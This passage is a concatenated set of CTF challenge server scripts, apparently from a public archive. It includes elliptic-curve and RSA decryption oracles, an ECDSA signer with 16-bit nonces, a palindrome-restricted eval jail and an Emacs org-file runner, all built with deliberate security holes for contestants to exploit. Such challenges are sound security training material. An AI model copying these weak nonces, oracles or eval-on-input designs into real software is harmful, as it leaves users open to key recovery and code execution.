return ECPoint(self.curve,x,y)
def __sub__(self, point):
return self + (-point)
def __str__(self):
if self.inf: return 'Point(inf)'
return 'Point(%d, %d)' % (self.x, self.y)
def __mul__(self, k):
k = int(k)
base = self.copy()
res = ECPoint(self.curve, 0,0,True)
while k > 0:
if k & 1:
res = res + base
base = base + base
k >>= 1
return res
def __eq__(self, point):
return (self.inf and point.inf) or (self.x == point.x and self.y == point.y)
if __name__ == '__main__':
p = 17
a = -1
b = 1
curve = EllipticCurve(p,a,b)
P = ECPoint(curve, 1, 1)
print(P+P)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor_2/utils.py | ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor_2/utils.py | def modular_sqrt(a, p):
""" Find a quadratic residue (mod p) of 'a'. p must be an odd prime.
Solve the congruence of the form:
x^2 = a (mod p)
And returns x. Note that p - x is also a root.
0 is returned is no square root exists for these a and p.
The Tonelli-Shanks algorithm is used (except for some simple cases in which the solution
is known from an identity). This algorithm runs in polynomial time (unless the generalized Riemann hypothesis is false).
"""
# Simple cases
if legendre_symbol(a, p) != 1:
return 0
elif a == 0:
return 0
elif p == 2:
return 0
elif p % 4 == 3:
return pow(a, (p + 1) >> 2, p)
# Partition p-1 to s * 2^e for an odd s (i.e.
# reduce all the powers of 2 from p-1)
s = p - 1
e = 0
while s % 2 == 0:
s //= 2
e += 1
# Find some 'n' with a legendre symbol n|p = -1.
# Shouldn't take long.
n = 2
while legendre_symbol(n, p) != -1:
n += 1
# Here be dragons!
# Read the paper "Square roots from 1; 24, 51, 10 to Dan Shanks" by Ezra Brown for more information
# x is a guess of the square root that gets better with each iteration.
# b is the "fudge factor" - by how much we're off with the guess. The invariant x^2 = ab (mod p) is maintained throughout the loop.
# g is used for successive powers of n to update both a and b
# r is the exponent - decreases with each update
x = pow(a, (s + 1) >> 1, p)
b = pow(a, s, p)
g = pow(n, s, p)
r = e
while True:
t = b
m = 0
for m in range(r):
if t == 1:
break
t = pow(t, 2, p)
if m == 0:
return x
gs = pow(g, 2 ** (r - m - 1), p)
g = (gs * gs) % p
x = (x * gs) % p
b = (b * g) % p
r = m
def legendre_symbol(a, p):
""" Compute the Legendre symbol a|p using
Euler's criterion. p is a prime, a is
relatively prime to p (if p divides
a, then a|p = 0)
Returns 1 if a has a square root modulo
p, -1 otherwise.
"""
ls = pow(a, (p - 1) >> 1, p)
return -1 if ls == p - 1 else ls
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor_2/curvy_decryptor.py | ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor_2/curvy_decryptor.py | #!/usr/bin/env python3
import os
import sys
import string
from Crypto.Util import number
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
from binascii import hexlify
from ec import *
from utils import *
from secret import flag1, flag2
#P-256 parameters
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = -3
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
curve = EllipticCurve(p,a,b, order = n)
G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
d_a = bytes_to_long(os.urandom(32))
P_a = G * d_a
printable = [ord(char.encode()) for char in string.printable]
def encrypt(msg : bytes, pubkey : ECPoint):
x = bytes_to_long(msg)
y = modular_sqrt(x**3 + a*x + b, p)
m = ECPoint(curve, x, y)
d_b = number.getRandomRange(0,n)
return (G * d_b, m + (pubkey * d_b))
def decrypt(B : ECPoint, c : ECPoint, d_a : int):
if B.inf or c.inf: return b''
return long_to_bytes((c - (B * d_a)).x)
def loop():
print('I will decrypt anythin as long as it does not talk about flags.')
balance = 1024
while True:
print('B:', end = '')
sys.stdout.flush()
B_input = sys.stdin.buffer.readline().strip().decode()
print('c:', end = '')
sys.stdout.flush()
c_input = sys.stdin.buffer.readline().strip().decode()
B = ECPoint(curve, *[int(_) for _ in B_input.split(',')])
c = ECPoint(curve, *[int(_) for _ in c_input.split(',')])
msg = decrypt(B, c, d_a)
if b'ENO' in msg:
balance = -1
else:
balance -= 1 + len([c for c in msg if c in printable])
if balance >= 0:
print(hexlify(msg))
print('balance left: %d' % balance)
else:
print('You cannot afford any more decryptions.')
return
if __name__ == '__main__':
print('My public key is:')
print(P_a)
print('Good luck decrypting this cipher.')
B,c = encrypt(flag1, P_a)
print(B)
print(c)
key = long_to_bytes((d_a >> (8*16)) ^ (d_a & 0xffffffffffffffffffffffffffffffff))
enc = AES.new(key, AES.MODE_ECB)
cipher = enc.encrypt(flag2)
print(hexlify(cipher).decode())
try:
loop()
except Exception as err:
print(repr(err))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Euclidean_RSA/euclidean-RSA.py | ctfs/nullconHackIM/2023-Goa/crypto/Euclidean_RSA/euclidean-RSA.py | #!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long
from secret import flag, magic
while True:
try:
key = RSA.generate(2048)
a,b,c,d = magic(key)
break
except:
pass
assert a**2 + b**2 == key.n
assert c**2 + d**2 == key.n
for _ in [a,b,c,d]:
print(_)
cipher = pow(bytes_to_long(flag), key.e, key.n)
print(cipher)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor/ec.py | ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor/ec.py | #!/usr/bin/env python3
from Crypto.Util.number import inverse
class EllipticCurve(object):
def __init__(self, p, a, b, order = None):
self.p = p
self.a = a
self.b = b
self.n = order
def __str__(self):
return 'y^2 = x^3 + %dx + %d modulo %d' % (self.a, self.b, self.p)
def __eq__(self, other):
return (self.a, self.b, self.p) == (other.a, other.b, other.p)
class ECPoint(object):
def __init__(self, curve, x, y, inf = False):
self.x = x % curve.p
self.y = y % curve.p
self.curve = curve
self.inf = inf
if x == 0 and y == 0: self.inf = True
def copy(self):
return ECPoint(self.curve, self.x, self.y)
def __neg__(self):
return ECPoint(self.curve, self.x, -self.y, self.inf)
def __add__(self, point):
p = self.curve.p
if self.inf:
return point.copy()
if point.inf:
return self.copy()
if self.x == point.x and (self.y + point.y) % p == 0:
return ECPoint(self.curve, 0, 0, True)
if self.x == point.x:
lamb = (3*self.x**2 + self.curve.a) * inverse(2 * self.y, p) % p
else:
lamb = (point.y - self.y) * inverse(point.x - self.x, p) % p
x = (lamb**2 - self.x - point.x) % p
y = (lamb * (self.x - x) - self.y) % p
return ECPoint(self.curve,x,y)
def __sub__(self, point):
return self + (-point)
def __str__(self):
if self.inf: return 'Point(inf)'
return 'Point(%d, %d)' % (self.x, self.y)
def __mul__(self, k):
k = int(k)
base = self.copy()
res = ECPoint(self.curve, 0,0,True)
while k > 0:
if k & 1:
res = res + base
base = base + base
k >>= 1
return res
def __eq__(self, point):
return (self.inf and point.inf) or (self.x == point.x and self.y == point.y)
if __name__ == '__main__':
p = 17
a = -1
b = 1
curve = EllipticCurve(p,a,b)
P = ECPoint(curve, 1, 1)
print(P+P)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor/utils.py | ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor/utils.py | def modular_sqrt(a, p):
""" Find a quadratic residue (mod p) of 'a'. p must be an odd prime.
Solve the congruence of the form:
x^2 = a (mod p)
And returns x. Note that p - x is also a root.
0 is returned is no square root exists for these a and p.
The Tonelli-Shanks algorithm is used (except for some simple cases in which the solution
is known from an identity). This algorithm runs in polynomial time (unless the generalized Riemann hypothesis is false).
"""
# Simple cases
if legendre_symbol(a, p) != 1:
return 0
elif a == 0:
return 0
elif p == 2:
return 0
elif p % 4 == 3:
return pow(a, (p + 1) >> 2, p)
# Partition p-1 to s * 2^e for an odd s (i.e.
# reduce all the powers of 2 from p-1)
s = p - 1
e = 0
while s % 2 == 0:
s //= 2
e += 1
# Find some 'n' with a legendre symbol n|p = -1.
# Shouldn't take long.
n = 2
while legendre_symbol(n, p) != -1:
n += 1
# Here be dragons!
# Read the paper "Square roots from 1; 24, 51, 10 to Dan Shanks" by Ezra Brown for more information
# x is a guess of the square root that gets better with each iteration.
# b is the "fudge factor" - by how much we're off with the guess. The invariant x^2 = ab (mod p) is maintained throughout the loop.
# g is used for successive powers of n to update both a and b
# r is the exponent - decreases with each update
x = pow(a, (s + 1) >> 1, p)
b = pow(a, s, p)
g = pow(n, s, p)
r = e
while True:
t = b
m = 0
for m in range(r):
if t == 1:
break
t = pow(t, 2, p)
if m == 0:
return x
gs = pow(g, 2 ** (r - m - 1), p)
g = (gs * gs) % p
x = (x * gs) % p
b = (b * g) % p
r = m
def legendre_symbol(a, p):
""" Compute the Legendre symbol a|p using
Euler's criterion. p is a prime, a is
relatively prime to p (if p divides
a, then a|p = 0)
Returns 1 if a has a square root modulo
p, -1 otherwise.
"""
ls = pow(a, (p - 1) >> 1, p)
return -1 if ls == p - 1 else ls
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor/curvy_decryptor.py | ctfs/nullconHackIM/2023-Goa/crypto/Curvy_Decryptor/curvy_decryptor.py | #!/usr/bin/env python3
import os
import sys
import string
from Crypto.Util import number
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
from binascii import hexlify
from ec import *
from utils import *
from secret import flag1, flag2
#P-256 parameters
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = -3
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
curve = EllipticCurve(p,a,b, order = n)
G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
d_a = bytes_to_long(os.urandom(32))
P_a = G * d_a
printable = [ord(char.encode()) for char in string.printable]
def encrypt(msg : bytes, pubkey : ECPoint):
x = bytes_to_long(msg)
y = modular_sqrt(x**3 + a*x + b, p)
m = ECPoint(curve, x, y)
d_b = number.getRandomRange(0,n)
return (G * d_b, m + (pubkey * d_b))
def decrypt(B : ECPoint, c : ECPoint, d_a : int):
if B.inf or c.inf: return b''
return long_to_bytes((c - (B * d_a)).x)
def loop():
print('I will decrypt anythin as long as it does not talk about flags.')
balance = 1024
while True:
print('B:', end = '')
sys.stdout.flush()
B_input = sys.stdin.buffer.readline().strip().decode()
print('c:', end = '')
sys.stdout.flush()
c_input = sys.stdin.buffer.readline().strip().decode()
B = ECPoint(curve, *[int(_) for _ in B_input.split(',')])
c = ECPoint(curve, *[int(_) for _ in c_input.split(',')])
msg = decrypt(B, c, d_a)
if b'ENO' in msg:
balance = -1
else:
balance -= 1 + len([c for c in msg if c in printable])
if balance >= 0:
print(hexlify(msg))
print('balance left: %d' % balance)
else:
print('You cannot afford any more decryptions.')
return
if __name__ == '__main__':
print('My public key is:')
print(P_a)
print('Good luck decrypting this cipher.')
B,c = encrypt(flag1, P_a)
print(B)
print(c)
key = long_to_bytes((d_a >> (8*16)) ^ (d_a & 0xffffffffffffffffffffffffffffffff))
enc = AES.new(key, AES.MODE_ECB)
cipher = enc.encrypt(flag2)
print(hexlify(cipher).decode())
try:
loop()
except Exception as err:
print(repr(err))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2023-Goa/crypto/PS/ps.py | ctfs/nullconHackIM/2023-Goa/crypto/PS/ps.py | #!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util import number
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys
from secret import flag
key = RSA.generate(2048, e = 3)
def encrypt(msg : bytes, key) -> int:
m = bytes_to_long(msg)
if m.bit_length() + 128 > key.n.bit_length():
return 'Need at least 128 Bit randomness in padding'
shift = key.n.bit_length() - m.bit_length() - 1
return pow(m << shift | number.getRandomInteger(shift), key.e, key.n)
def loop():
print('My public modulus is:\n%d' % key.n)
print('Here is your secret message:')
print(encrypt(flag, key))
while True:
print('You can also append a word on your own:')
sys.stdout.flush()
PS = sys.stdin.buffer.readline().strip()
print('With these personal words the cipher is:')
print(encrypt(flag + PS, key))
if __name__ == '__main__':
try:
loop()
except Exception as err:
print(repr(err))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2022/crypto/time/decryptor.py | ctfs/nullconHackIM/2022/crypto/time/decryptor.py | #!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.PublicKey import RSA
import time
import sys
from secret import flag
key = RSA.importKey(open('privkey.pem','r').read())
def int_to_str(n):
if n == 0:
return ''
return int_to_str(n // 256) + chr(n % 256)
def str_to_int(s):
res = 0
for char in s:
res *= 256
res += ord(char)
return res
def encrypt(msg, key = key):
return pow(str_to_int(flag), key.e, key.n)
def decrypt(cipher, key = key):
return int_to_str(pow(cipher, key.d, key.n))
def decrypt_fast(cipher, key = key):
d_p = key.d % (key.p - 1)
d_q = key.d % (key.q - 1)
m_p = pow(cipher % key.p, d_p, key.p)
m_q = pow(cipher % key.q, d_q, key.q)
h = key.u * (m_p - m_q) % key.p
m = m_q + h*key.q % key.n
return int_to_str(m)
def loop():
enc_flag = encrypt(flag)
print('Ain\'t nobody got time for slow algos ...\nWanna see how much difference a clever decryption makes, e.g. for this encrypted flag:\n%s\nBut you can also enter some other cipher in hex: ' % hex(enc_flag)[2:])
while True:
sys.stdout.flush()
cipher = sys.stdin.buffer.readline().strip()
if len(cipher) > 512:
print('Input too long')
continue
try:
c = int(cipher,16)
except:
print('Wrong input format')
continue
t0 = time.time()
m = decrypt(c)
print('plain decryption: %.2f ms' % ((time.time() - t0) * 1000))
t0 = time.time()
m = decrypt_fast(c)
print('fast decryption: %.2f ms' % ((time.time() - t0) * 1000))
print('another cipher: ')
if __name__ == '__main__':
enc_flag = encrypt(flag)
try:
loop()
except Exception as err:
print(repr(err))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2022/crypto/cookie_lover_reloaded/ec.py | ctfs/nullconHackIM/2022/crypto/cookie_lover_reloaded/ec.py | #!/usr/bin/env python3
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
from Crypto.Util import number
class EllipticCurve(object):
def __init__(self, p, a, b, order = None):
self.p = p
self.a = a
self.b = b
self.n = order
def __str__(self):
return 'y^2 = x^3 + %dx + %d modulo %d' % (self.a, self.b, self.p)
def __eq__(self, other):
return (self.a, self.b, self.p) == (other.a, other.b, other.p)
class ECPoint(object):
def __init__(self, curve, x, y, inf = False):
self.x = x % curve.p
self.y = y % curve.p
self.curve = curve
if inf or not self.is_on_curve():
self.inf = True
self.x = 0
self.y = 0
else:
self.inf = False
def is_on_curve(self):
return self.y**2 % self.curve.p == (self.x**3 + self.curve.a*self.x + self.curve.b) % self.curve.p
def copy(self):
return ECPoint(self.curve, self.x, self.y)
def __neg__(self):
return ECPoint(self.curve, self.x, -self.y, self.inf)
def __add__(self, point):
p = self.curve.p
if self.inf:
return point.copy()
if point.inf:
return self.copy()
if self.x == point.x and (self.y + point.y) % p == 0:
return ECPoint(self.curve, 0, 0, True)
if self.x == point.x:
lamb = (3*self.x**2 + self.curve.a) * inverse(2 * self.y, p) % p
else:
lamb = (point.y - self.y) * inverse(point.x - self.x, p) % p
x = (lamb**2 - self.x - point.x) % p
y = (lamb * (self.x - x) - self.y) % p
return ECPoint(self.curve,x,y)
def __sub__(self, point):
return self + (-point)
def __str__(self):
if self.inf: return 'Point(inf)'
return 'Point(%d, %d)' % (self.x, self.y)
def __mul__(self, k):
k = int(k)
base = self.copy()
res = ECPoint(self.curve, 0,0,True)
while k > 0:
if k & 1:
res = res + base
base = base + base
k >>= 1
return res
def __eq__(self, point):
return (self.inf and point.inf) or (self.x == point.x and self.y == point.y)
if __name__ == '__main__':
p = 17
a = -1
b = 1
curve = EllipticCurve(p,a,b)
P = ECPoint(curve, 1, 1)
print(P+P)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/nullconHackIM/2022/crypto/cookie_lover_reloaded/cookie_lover_reloaded.py | ctfs/nullconHackIM/2022/crypto/cookie_lover_reloaded/cookie_lover_reloaded.py | #!/usr/bin/env python3
import os
import sys
import hashlib
from ec import *
from secret import flag
#P-256 parameters
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = -3
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
curve = EllipticCurve(p,a,b, order = n)
G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
target = b'I still love cookies.'
d_a = bytes_to_long(os.urandom(32))
P_a = G * d_a
def sign(msg : bytes, DEBUG = False):
if type(msg) == str: msg = msg.encode()
if not DEBUG:
#I will not talk about cookies.
if b'cookie' in msg:
return 0,0
#no control characters allowed in message
if any([c < 32 for c in msg]):
return 0,0
#regular message
k = int(hashlib.md5(os.urandom(16)).hexdigest()[:4], 16)
R = G*k
x,y = R.x, R.y
r = x % n
s = inverse(k, n) * (int(hashlib.md5(msg).hexdigest(),16) + r * d_a) % n
return r,s
def verify(r:int, s:int, msg:bytes, P_a):
s1 = inverse(s,n)
u = int(hashlib.md5(msg).hexdigest(), 16) * s1 % n
v = r * s1 % n
R = G * u + P_a * v
return r % n == R.x % n
def loop():
print('I will sign anythin as long as it does not talk about cookies.')
while True:
print('Choose an option:\n1:[text to sign]\n2:[number,number - signature to check]\n')
sys.stdout.flush()
cmd = sys.stdin.buffer.readline().strip()
if cmd[:2] == b'1:':
print(sign(cmd[2:]))
elif cmd[:2] == b'2:':
r,s = [int(x) for x in cmd[2:].decode().split(',')]
if verify(r, s, target, P_a):
print(flag)
else:
print('wrong signature')
else:
print('Wrong input format')
if __name__ == '__main__':
r,s = sign(target, True)
assert verify(r,s,target,P_a)
print('My public key is:')
print(P_a)
try:
loop()
except Exception as err:
print(repr(err))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/misc/Emacro_wave_cooking/chall.py | ctfs/Potluck/2023/misc/Emacro_wave_cooking/chall.py | #!/usr/bin/python3
import subprocess
import os
import pty
import base64
recipe = input("Give me your favourite macrowave cooking recipe! ")
filename = f"/tmp/recipe-{os.urandom(32).hex()}.org"
with open(filename, "wb") as f:
f.write(base64.b64decode(recipe))
m, s = pty.openpty()
subprocess.run(["timeout", "15", "emacs", "-q", "-l", "./config.el", "-nw", filename],
stdin=s,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/misc/tacocat/main.py | ctfs/Potluck/2023/misc/tacocat/main.py | #!/usr/local/bin/python
while True:#
x = input("palindrome? ")#
assert "#" not in x, "comments are bad"#
assert all(ord(i) < 128 for i in x), "ascii only kthx"#
assert x == x[::-1], "not a palindrome"#
assert len(x) < 36, "palindromes can't be more than 35 characters long, this is a well known fact."#
assert sum(x.encode()) % 256 == 69, "not nice!"#
eval(x)#)x(lave
#"!ecin ton" ,96 == 652 % ))(edocne.x(mus tressa
#".tcaf nwonk llew a si siht ,gnol sretcarahc 53 naht erom eb t'nac semordnilap" ,63 < )x(nel tressa
#"emordnilap a ton" ,]1-::[x == x tressa
#"xhtk ylno iicsa" ,)x ni i rof 821 < )i(dro(lla tressa
#"dab era stnemmoc" ,x ni ton "#" tressa
#)" ?emordnilap"(tupni = x
#:eurT elihw
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/lima_beans_with_lemon_and_lime/final.py | ctfs/Potluck/2023/crypto/lima_beans_with_lemon_and_lime/final.py | #!/usr/bin/env python3
from Crypto.Util.number import getPrime, bytes_to_long
from secrets import randbelow, randbits
from FLAG import flag
beanCount = 8
beanSize = 2048
lemonSize = beanSize // 2 * beanCount
killerBean = getPrime(beanSize)
queries = 17
def pkcs16(limaBeans):
filledLimaBeans = [0 for _ in range(beanCount)]
limaBeans += b'A' * ((beanCount * beanSize // 8) - len(limaBeans))
cookedLimaBeans = bytes_to_long(limaBeans)
for idx in range(beanCount):
cookedLimaBeans, filledLimaBeans[idx] = divmod(cookedLimaBeans, killerBean)
return filledLimaBeans
def encrypt(limaBeans, lemon, lime):
limaBeansWithLemonAndLime = 0
for idx in range(beanCount):
lemonSlice = lemon[idx]
limaBean = limaBeans[idx]
if (lime >> idx) & 1:
limaBean **= 2
limaBean %= killerBean
limaBeansWithLemonAndLime += limaBean * lemonSlice
limaBeansWithLemonAndLime %= killerBean
return limaBeansWithLemonAndLime
flag = pkcs16(flag)
print(f'Hello and welcome to the lima beans with lemon and lime cryptosystem. It it so secure that it even has a {lemonSize} bit encryption key, that is {lemonSize // 256} times bigger than an AES-256, and therefore is {lemonSize // 256} times more secure')
print(f'p: {killerBean}')
for turn in range(queries):
print('1: Encrypt a message\n2: Encrypt flag\n3: Decrypt message')
choice = input('> ')
if choice not in ('1', '2', '3'):
print('What?')
if choice == '1':
limaBeans = input('msg: ').encode()
if len(limaBeans) * 8 > beanSize * beanCount:
print('Hmmm a bit long innit?')
continue
limaBeans = pkcs16(limaBeans)
lemon = [randbelow(2**(beanSize - 48)) for _ in range(beanCount)]
lime = randbits(beanCount)
limaBeansWithLemonAndLime = encrypt(limaBeans, lemon, lime)
print(f'ct: {limaBeansWithLemonAndLime}')
print(f'iv: {lime}')
print(f'key: {",".join(map(str, lemon))}')
elif choice == '2':
lemon = [randbelow(2**(beanSize//2)) for _ in range(beanCount)]
lime = randbits(beanCount)
limaBeansWithLemonAndLime = encrypt(flag, lemon, lime)
print(f'ct: {limaBeansWithLemonAndLime}')
print(f'iv: {lime}')
print(f'key: {",".join(map(str, lemon))}')
else:
print('patented, sorry')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_1/get_token.py | ctfs/Potluck/2023/crypto/Cookmaster_1/get_token.py | #!/usr/bin/env python3
# Adapted from https://github.com/balsn/proof-of-work
import hashlib
import sys
import requests
def is_valid(digest, zeros, difficulty):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
if __name__ == '__main__':
if len(sys.argv) > 1:
HOST = sys.argv[1]
else:
HOST = 'http://challenge17.play.potluckctf.com:31337'
info = requests.post(f'{HOST}/pow', json={}).json()
prefix = info['prefix']
difficulty = info['difficulty']
print(f'prefix: {prefix}')
print(f'difficulty: {difficulty}')
zeros = '0' * difficulty
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest(), zeros, difficulty):
info = requests.post(f'{HOST}/pow', json={
'prefix': prefix,
'answer': str(i)
}).json()
print('Token: ' + info['token'])
exit(0)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_1/interface/main.py | ctfs/Potluck/2023/crypto/Cookmaster_1/interface/main.py | import binascii
from hashlib import sha256
from ecdsa import SigningKey
from contextlib import asynccontextmanager
from starlette.applications import Starlette
from starlette.requests import Request
from starlette.responses import JSONResponse
from starlette.routing import Route, WebSocketRoute, Mount
from starlette.exceptions import HTTPException
from starlette.endpoints import WebSocketEndpoint, HTTPEndpoint
from concurrent.futures import ThreadPoolExecutor
from starlette.templating import Jinja2Templates
from starlette.staticfiles import StaticFiles
from typing import Optional
import aiosqlite
import uvicorn
import asyncio
import can
import base64
import datetime
import json
import time
import struct
import os
import hashlib
import hmac
#from aiopath import AsyncPath as Path
import asyncio
import secrets
from src import container
def recipe_context(request: Request):
return {'recipes': request.app.state.recipes}
templates = Jinja2Templates(directory='templates', context_processors=[recipe_context])
SERVER_PORT=31337
DB_PATH=os.environ.get('DB_PATH', '/data/team_info.db')
POW_INIT_TIMEOUT=int(os.environ.get('POW_INIT_TIMEOUT', '300'))
POW_TIMEOUT=int(os.environ.get('POW_TIMEOUT', '300'))
POW_PREFIX_LEN=int(os.environ.get('POW_PREFIX_LEN', 16))
POW_DIFFICULTY=int(os.environ.get('POW_DIFFICULTY', 22))
container_action = dict()
class BusManager():
def __init__(self, team_id, expiry):
self.team_id = team_id
self.bus: Optional[can.BusABC] = None
self.websockets = list()
self.state = dict()
self.expiry = expiry
self.executor = ThreadPoolExecutor(max_workers=1)
self.bgtasks = set()
self.watcher = set()
async def startup(self):
if self.bus:
return
loop = asyncio.get_event_loop()
await loop.run_in_executor(self.executor, self.setup_can_bus, loop)
task = loop.run_in_executor(self.executor, self.read_bus, loop )
self.bgtasks.add(task)
task.add_done_callback(self._bus_done)
for watcher in self.watcher:
watcher.cancel()
watcher = loop.create_task(self._watcher())
self.watcher.add(watcher)
watcher.add_done_callback(self.watcher.discard)
async def _watcher(self):
while True:
await asyncio.sleep(1)
if not self.bus:
await self.startup()
def _bus_done(self, task):
self.bgtasks.discard(task)
if self.bus:
self.bus.shutdown()
self.bus = None
def setup_can_bus(self, loop):
try:
self.bus = can.ThreadSafeBus(
interface="socketcan",
channel=f'c{self.team_id}',
fd=True, receive_own_messages=True)
return True
except OSError:
return False
def read_bus(self, loop):
if self.bus is None:
return
try:
for msg in self.bus:
coro = self._listener(msg)
fut = asyncio.run_coroutine_threadsafe(coro, loop)
fut.result()
except can.exceptions.CanOperationError:
bus = self.bus
self.bus = None
bus.shutdown()
async def _listener(self, msg):
info = dict(
msg="can",
msgId=msg.arbitration_id,
data=msg.data.hex(),
state=self.state
)
match msg.arbitration_id:
case 0x12:
temp = struct.unpack("d", msg.data)[0]
self.state['temp'] = f'{temp:g}'
case 0x13:
iid, grams = struct.unpack("<BH", msg.data[28:31])
name = ''
match iid:
case 0:
name = msg.data[31:].decode()
case 1:
name = 'Tomato'
case 2:
name = 'Carrot'
case 3:
name = 'Celery'
case 4:
name = 'Onion'
case 5:
name = 'Garlic'
case 6:
name = 'Sugar'
case 7:
name = 'Olive Oil'
case 8:
name = 'Salt'
case 9:
name = 'Black Pepper'
self.state['step'] = {
'name': 'add',
'values': {
'name': name,
'grams': grams
}
}
case 0x14:
strength, seconds = struct.unpack("<BH", msg.data[28:31])
self.state['step'] = {
'name': 'mix',
'values': {
'strength': strength,
'seconds': seconds
}
}
case 0x15:
degrees, seconds = struct.unpack("<HH", msg.data[28:32])
self.state['step'] = {
'name': 'heat',
'values': {
'degrees': degrees,
'seconds': seconds
}
}
case 0x15:
